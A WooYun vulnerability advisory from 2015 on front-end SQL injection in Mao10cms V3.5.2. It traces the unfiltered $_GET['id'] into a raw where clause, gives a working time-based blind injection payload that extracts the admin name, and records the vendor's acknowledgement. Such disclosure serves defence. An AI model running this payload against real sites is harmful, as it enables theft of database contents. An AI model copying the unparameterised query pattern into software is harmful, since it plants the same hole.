当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124586

漏洞标题:Mao10cms最新版前台注入2枚打包

相关厂商:mao10.com

漏洞作者: 路人甲

提交时间:2015-07-06 12:29

修复时间:2015-10-08 20:32

公开时间:2015-10-08 20:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向第三方安全合作伙伴开放
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

Mao10cms最新版前台注入2枚打包,可出任意数据

详细说明:

Mao10cms用户量不小,2015-06-25更新的V3.5.2,今天来学习一下吧
两个注入点,分别存在在于application/common/common/function.php/mc_title()方法和application/common/common/function.php/mc_seo()中。注入产生的原因都是id没有过滤,这两个注入点前台可直接注入出数据。这里以application/common/common/function.php/mc_title()为例进行说明。
存在注入的文件在application/common/common/function.php中
我们来看看代码

//全站标题
function mc_title() {
无关代码
elseif(MODULE_NAME=='User') {
if(CONTROLLER_NAME=='Register') {
$title = '注册 - '.mc_option('site_name');
} elseif(CONTROLLER_NAME=='Login') {
$title = '登陆 - '.mc_option('site_name');
} elseif(CONTROLLER_NAME=='Lostpass') {
$title = '找回密码 - '.mc_option('site_name');
} elseif(CONTROLLER_NAME=='Index') {
$display_name = mc_user_display_name($_GET['id']);
if(ACTION_NAME=='index') {
$title = $display_name.'的首页 - '.mc_option('site_name');
} elseif(ACTION_NAME=='pages') {
$title = $display_name.'的主题 - '.mc_option('site_name');
} elseif(ACTION_NAME=='edit') {
$title = $display_name.'的资料 - '.mc_option('site_name');
} elseif(ACTION_NAME=='shoucang') {
$title = $display_name.'的收藏 - '.mc_option('site_name');
} elseif(ACTION_NAME=='guanzhu') {
$title = $display_name.'的关注 - '.mc_option('site_name');
} elseif(ACTION_NAME=='comments') {
$title = $display_name.'的评论 - '.mc_option('site_name');
} elseif(ACTION_NAME=='fans') {
$title = $display_name.'的粉丝 - '.mc_option('site_name');
} elseif(ACTION_NAME=='pro') {
$title = $display_name.'的订单 - '.mc_option('site_name');
} elseif(ACTION_NAME=='coins') {
$title = '积分记录 - '.mc_option('site_name');
} else {
$title = '未知页面 - '.mc_option('site_name');
}
} else {
$title = '未知页面 - '.mc_option('site_name');
}


看上面代码中看到$display_name = mc_user_display_name($_GET['id']);去看看mc_user_display_name()

//用户昵称
function mc_user_display_name($page_id) {
$user_display_name = mc_get_page_field($page_id,'title');
if($user_display_name) {
return $user_display_name;
} else {
return mc_get_meta($page_id,'user_name',true,'user');
}
};


从上面的代码中可以看到,如果由$page_id查不到用户名,如果$page_id提交有’,肯定查不到,就执行mc_get_meta(),再去看看吧

function mc_get_meta($page_id,$meta_key,$array=true,$type='basic') {	
$meta = M('meta')->where("page_id='$page_id' AND meta_key='$meta_key' AND type ='$type'")->order('id desc');
if($array) {
return $meta->getField('meta_value');
} else {
return $meta->getField('meta_value',true);
};
}


到这里可以看到了,从$_GET[‘id’]一直到$page_id,再带入sql语句执行,没有过滤,因此,这里存在注入。
下面以time-based blind注入进行证明
Payload(get提交):

id=2')union/**/select/**/if(mid((select/**/admin_name/**/from/**/pe_admin/**/limit/**/0,1),1,1)='z',sleep(1),0)%23


当猜测错误时,如下图

错误副本.jpg


当猜测正确时,如下图

正确副本.jpg


整个注入过程可以使用burpsuite 或者sqlmap 再或者自己写个脚本来跑,在本地进行测试,用户名为admin,密码为f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-10 20:31

厂商回复:

感谢指出

最新状态:

暂无